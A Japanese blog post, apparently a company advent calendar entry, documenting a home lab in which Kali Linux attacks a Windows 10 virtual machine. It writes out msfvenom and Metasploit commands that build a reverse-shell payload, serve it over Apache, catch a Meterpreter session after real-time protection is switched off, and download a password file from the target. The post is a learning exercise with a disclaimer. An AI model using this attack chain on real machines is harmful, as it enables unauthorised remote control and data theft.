はじめてのWindows10ハッキング

攻撃の手口を知り、セキュリティ意識の高い人間になりたい。
というのは建前で、ハッカーってカッコよくね？という動機でハッキングの練習をはじめました。

株式会社ピー・アール・オーのアドベントカレンダー4日目です。
何かを作る内容ではないですが、こんな自分が「あったらいいな！」ということでご容赦ください...

# やること

VMでWindows実験環境を構築し、別の環境(Kali Linux)から攻撃、遠隔操作します。
長くなりましたが、画像多めです。

# ※ダメ、絶対。

本記事は不正アクセス等のサイバー攻撃を推奨するものではありません。
ここで紹介する内容を外部の環境に対して行わないでください。

# 準備する

まず、攻撃端末とターゲット端末をVMで構築します。
今回は、以下の環境で行いました。

- ホスト OS: macOS 10.15.2 Beta
- ゲスト OS
  - 攻撃端末: Kali Linux 5.3.0-kali2-amd64
  - ターゲット端末: Windows10
- 仮想化ソフト: VirtualBox 6.0.14 r133895 (Qt5.6.3)

## 攻撃環境の構築

Kali Linuxはペネトレーションテストに用いられるLinuxディストリビューションです。
Debianをベースに作られており、300以上のペネトレーションテスト用ツールがプリインストールされています。

今回はKali Linuxを使用しますが、各自使い慣れたOSに攻撃ツールをインストールしても問題ありません。

### Kali Linux のインストール
以下のページからKali Linuxのイメージをダウンロードします。
https://www.kali.org/downloads/
今回は「Kali Linux 64-Bit」をダウンロードしました。

本記事では、詳細なインストール方法は割愛します。

## 実験用 Windows 環境の構築

### Windows10のイメージをダウンロードする

以下のページから Windows10 の ISO ファイルをダウンロードしてきます。
https://www.microsoft.com/ja-jp/software-download/windows10ISO

### VM 作成

VirtualBoxの新規から仮想マシンを作成します。
<img width="882" alt="スクリーンショット 2019-12-01 20.42.31.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/210212/be3325a7-a61e-1f76-148a-54a019c24757.png">
<img width="882" alt="スクリーンショット 2019-12-01 20.43.16.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/210212/6d65e66b-a964-00cb-8a57-729c572b040c.png">
<img width="882" alt="スクリーンショット 2019-12-01 20.43.43.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/210212/93077a91-8e0d-2b77-073b-f6953ab906ad.png">
<img width="882" alt="スクリーンショット 2019-12-01 20.43.58.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/210212/a0abf264-f35d-bb8d-d2c1-98917835fbcc.png">
<img width="882" alt="スクリーンショット 2019-12-01 20.44.35.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/210212/b0c0a8df-e127-57cf-cd0f-0e4164b2c300.png">
<img width="882" alt="スクリーンショット 2019-12-01 20.44.55.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/210212/3c16a009-288c-65ca-8c88-1e1c70d4275d.png">
<img width="882" alt="スクリーンショット 2019-12-01 20.45.06.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/210212/b9b95c60-3a59-f136-12db-0a80d552f5ce.png">
できました。

### インストール&セットアップ
- Windows10の仮想マシンを起動します。
- 「起動ハードディスクの選択」画面でインストールしたISOファイルを選択します。
- 画面にしたがって初期設定を進めます。
ライセンス認証画面では「プロダクトキーがありません」をクリックします。
<img width="624" alt="スクリーンショット 2019-12-01 20.56.20のコピー.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/210212/86dff1fd-b853-1868-2795-9dfbbc7e757c.png">
インストールの種類では「カスタム: Windowsのみをインストールする」を選択します。
<img width="580" alt="スクリーンショット 2019-12-01 20.58.06.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/210212/ecb089fd-dae2-d323-e1c7-8e03aeddf3b0.png">
認証画面では、他のWindows端末と動機ファイルが同期されないよう「オフラインアカウント」をクリックします。
<img width="580" alt="スクリーンショット 2019-12-01 21.17.42のコピー.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/210212/f5df5e20-e0ec-9330-d552-bc7fbd948042.png">
デバイスのプライバシー設定の選択では、すべて無効にします。
<img width="580" alt="スクリーンショット 2019-12-01 21.24.02.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/210212/896834af-9a08-f8da-d18b-b65524b6ebca.png">
デスクトップ画面が表示されれば設定完了。

- 仮想ドライブからISOファイルを除去する
Windows10を一度終了し、VirtualBoxの設定 > ストレージを開く。
光学ドライブの右にあるディスクアイコンをクリックし、「仮想ドライブからディスクを除去」を選択します。
<img width="782" alt="スクリーンショット 2019-12-01 22.06.23.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/210212/013cccba-2b2a-6972-170c-382b36dce172.png">

これで準備は完了です！

# 攻撃する（本編）

今回の攻撃実験は以下の環境で行います。
攻撃端末とターゲット端末は同じネットワーク内に存在させます。

|端末 |IPアドレス |
| ---- | ---- |
|Kali Linux（攻撃端末） |10.0.0.2 |
|Windows10（ターゲット端末） |10.0.0.102 |

## 攻撃端末からターゲット端末を制御できるようにする

Metasploit Framework で リバースシェルを作成し、ターゲット端末で実行します。

### Metasploit Framework とは

オープンソースのペネトレーションテストツールであり、調査、侵入、攻撃、バックドアの設置・接続といったサーバー侵入の一連の流れを行うことができます。
Kali Linux にはデフォルトで用意されています。
※不正アクセスとなるため、許可されていない外部の環境に対して使用しないでください。

### ペイロードの作成

ペイロードは、悪意のある動作をする実行コードのことです。
今回は、TCPリバースシェルのペイロードを作成します。

※リバースシェルはターゲット端末から攻撃端末側に対して接続するタイプのシェルで、ファイアウォールやルーターが、アウトバウンド（内部から外部への接続）に対し比較的制限がゆるく、通信がブロックされにくい点を狙われています。

以下のコマンドで、64bitのwindowsを対象とし、接続先を攻撃端末（10.0.0.2）に指定したTCPリバースシェルが作成されます。

```
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.2 -f exe -o /root/Desktop/evil.exe
```

### 外部から実行ファイルにアクセスできるようにする

作成したペイロードはなんらかの方法でターゲット端末に実行してもらう必要があります。
今回は、Apache を起動して、ターゲット端末のブラウザからアクセスできるようにします。

```
# mkdir /var/www/html/share
# cp /root/Desktop/evil.exe /var/www/html/share/
# service apache2 restart
```

### ターゲット端末にペイロードをダウンロードさせる
windows10側のブラウザから http://10.0.0.2/share にアクセスします。
<img width="842" alt="スクリーンショット 2019-12-04 7.37.36.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/210212/b527764f-2fdf-0e2d-5975-42dfa486988f.png">

evil.exeが存在することが確認できましたので、これをダウンロードしてみます。

evil.exeをクリックして実行を選択すると、Windows Defender Antivirusにウイルスとして検知されたため、失敗しました。
<img width="842" alt="スクリーンショット 2019-12-04 7.40.05.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/210212/760d9432-72c2-b4a1-0eb5-0108e0bf7fc1.png">

右下の通知をクリックすると、トロイの木馬という聞いたことのある名前が現れて少しワクワクしています。
<img width="842" alt="スクリーンショット 2019-12-04 8.14.08.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/210212/5ff4b0b0-5d9c-7669-f09f-fa69c851597c.png">

ここで「操作」から「許可する」を選択してもう一度保存しようとすると、表示が変わりました。
この状態で実行をクリックして保存します。
<img width="842" alt="スクリーンショット 2019-12-04 8.14.42.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/210212/8c4c49cc-d31d-98c2-d647-60ca6721fc88.png">

次に、Windows Defender セキュリティセンターで「リアルタイム保護」をオフにしてから再度ダウンロードします。
<img width="842" alt="スクリーンショット 2019-12-04 8.19.15.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/210212/f3453a34-e671-c1aa-ec10-0ddc95b2d81d.png">
詳しい設定方法はこちら（ https://121ware.com/qasearch/1007/app/servlet/relatedqa?QID=018503 ）を参照してください。

<img width="842" alt="スクリーンショット 2019-12-04 8.21.39.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/210212/a1f1ee51-8eb8-9884-8e87-e5378cefa572.png">
今度は何も警告が出ずにダウンロードに成功しました。

フォルダを開くと、リアルタイム保護がオンの時に保存したもの（evil.exe）と、オフの時に保存したもの（evil(1).exe）の２つが存在していることが確認できます。
<img width="842" alt="スクリーンショット 2019-12-04 8.28.52.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/210212/85118fc6-6d79-9640-644a-1c6ab473e5ba.png">


### 攻撃側でリバースシェルを待ち受ける

攻撃端末で次のコマンドを実行し、リバースシェルによる接続を待ち受けます。

```
# msfconsole      <----入力
[-] ***Rting the Metasploit Framework console...\
[-] * WARNING: No database support: No database YAML file
[-] ***
                                                  

                                   .,,.                  .
                                .\$$$$$L..,,==aaccaacc%#s$b.       d8,    d8P
                     d8P        #$$$$$$$$$$$$$$$$$$$$$$$$$$$b.    `BP  d888888p
                  d888888P      '7$$$$\""""''^^`` .7$$$|D*"'```         ?88'
  d8bd8b.d8p d8888b ?88' d888b8b            _.os#$|8*"`   d8P       ?8b  88P
  88P`?P'?P d8b_,dP 88P d8P' ?88       .oaS###S*"`       d8P d8888b $whi?88b 88b
 d88  d8 ?8 88b     88b 88b  ,88b .osS$$$$*" ?88,.d88b, d88 d8P' ?88 88P `?8b
d88' d88b 8b`?8888P'`?8b`?88P'.aS$$$$Q*"`    `?88'  ?88 ?88 88b  d88 d88
                          .a#$$$$$$"`          88b  d8P  88b`?8888P'
                       ,s$$$$$$$"`             888888P'   88n      _.,,,ass;:
                    .a$$$$$$$P`               d88P'    .,.ass%#S$$$$$$$$$$$$$$'
                 .a$###$$$P`           _.,,-aqsc#SS$$$$$$$$$$$$$$$$$$$$$$$$$$'
              ,a$$###$$P`  _.,-ass#S$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####SSSS'
           .a$$$$$$$$$$SSS$$$$$$$$$$$$$$$$$$$$$$$$$$$$SS##==--""''^^/$$$$$$'
_______________________________________________________________   ,&$$$$$$'_____
                                                                 ll&&$$$$'
                                                              .;;lll&&&&'
                                                            ...;;lllll&'
                                                          ......;;;llll;;;....
                                                           ` ......;;;;... .  .


       =[ metasploit v5.0.62-dev                          ]
+ -- --=[ 1949 exploits - 1090 auxiliary - 334 post       ]
+ -- --=[ 558 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]


msf5 > use exploit/multi/handler  <----入力
msf5 exploit(multi/handler) >　set payload windows/x64/meterpreter/reverse_tcp  <----入力
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.0.0.2  <----入力
LHOST=>10.0.0.2
msf5 exploit(multi/handler) > exploit -j -z  <----入力
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.0.0.2:4444   <----待ち受け開始
msf5 exploit(multi/handler) > 

```

### ターゲット端末でペイロードを実行する

Windows側でペイロードを実行します。
リアルタイム保護がオンの時にダウンロードしたものと、オフの時にダウンロードしたものをそれぞれ、リアルタイム保護がオンの状態とオフの状態のパターンで計4回実行します。

||【ダウンロード時】<br />リアルタイム保護が有効<br />（evil.exe）|【ダウンロード時】<br />リアルタイム保護が無効<br />（evil(1).exe）|
| ---- | ---- | ---- |
|【実行時】<br />リアルタイム保護が有効|攻撃失敗|攻撃失敗|
|【実行時】<br />リアルタイム保護が無効|攻撃失敗|攻撃成功|

いずれも実行時に警告がでるが、詳細 > 実行で強制的に実行します。
<img width="842" alt="スクリーンショット 2019-12-04 9.00.17.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/210212/58e20ed9-b059-0b4c-61ae-a0afd24d9464.png">


失敗時の画面はこちら。
<img width="842" alt="スクリーンショット 2019-12-04 9.03.19.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/210212/be27cc7c-3554-dfce-826c-923c1fb526b3.png">

成功時は攻撃側コンソールに以下のように表示されます。

```
msf5 exploit(multi/handler) > [*] Sending stage (206403 bytes) to 10.0.0.102
[*] Meterpreter session 2 opened (10.0.0.2:4444 -> 10.0.0.102:49975) at 2019-12-04 09:08:01 +0900
```

この状態でEnterを押したあと、sessionsコマンドでセッション一覧を表示します。

```
msf5 exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                     Information                                Connection
  --  ----  ----                     -----------                                ----------
  2         meterpreter x64/windows  DESKTOP-4V3PT8F\arakawa @ DESKTOP-4V3PT8F  10.0.0.2:4444 -> 10.0.0.102:49975 (10.0.0.102)
```

攻撃環境（10.0.0.2）からターゲット環境（10.0.0.102）への接続が確認できました。

### Meterpreterプロンプトで遠隔操作する

次に、実験用にpassword.txtファイルをWindows側に作成します。
<img width="842" alt="スクリーンショット 2019-12-04 9.16.07.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/210212/f7f7d1fd-c435-b832-3c24-cde4473f2d66.png">

攻撃側でセッションIDを指定してMeterpreterプロンプトを表示させます。

```
msf5 exploit(multi/handler) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > 
```

password.txtを探してダウンロードします。

```
meterpreter > pwd
C:\Users\arakawa\Downloads
meterpreter > ls
Listing: C:\Users\arakawa\Downloads
===================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  282   fil   2019-12-01 21:24:25 +0900  desktop.ini
100777/rwxrwxrwx  7168  fil   2019-12-04 08:21:32 +0900  evil (1).exe
100777/rwxrwxrwx  7168  fil   2019-12-04 09:07:02 +0900  evil.exe
100666/rw-rw-rw-  8     fil   2019-12-04 09:15:30 +0900  password.txt

meterpreter > download password.txt
[*] Downloading: password.txt -> password.txt
[*] Downloaded 8.00 B of 8.00 B (100.0%): password.txt -> password.txt
[*] download   : password.txt -> password.txt
meterpreter > 
```

別のターミナルを開き、ダウンロードできていることを確認します。

```
root@kali:~# ls -la password.txt 
-rw-r--r-- 1 root root 8 Dec  4 09:15 password.txt
```

無事（？）ダウンロードできていました！！

# まとめ

Kali Linuxを利用してWindows10へ攻撃、遠隔操作の実験を行いましたが、
思っていたよりも簡単にできてしまったのは意外でした。
Windows Defenderがしっかり仕事をしてくれているのを実感できたのも個人的には収穫かなーと思います。

この次のステップとして、バックドアを作成したり、ペイロードを偽装したり、まだまだ盛りだくさんなので、いずれ続きを書くかもしれません。



# 参考書籍

[IPUSIRON『ハッキング・ラボのつくりかた　仮想環境におけるハッカー体験学習』翔泳社（amazon）](https://www.amazon.co.jp/%E3%83%8F%E3%83%83%E3%82%AD%E3%83%B3%E3%82%B0%E3%83%BB%E3%83%A9%E3%83%9C%E3%81%AE%E3%81%A4%E3%81%8F%E3%82%8A%E3%81%8B%E3%81%9F-%E4%BB%AE%E6%83%B3%E7%92%B0%E5%A2%83%E3%81%AB%E3%81%8A%E3%81%91%E3%82%8B%E3%83%8F%E3%83%83%E3%82%AB%E3%83%BC%E4%BD%93%E9%A8%93%E5%AD%A6%E7%BF%92-IPUSIRON-ebook/dp/B07JJKLZNW)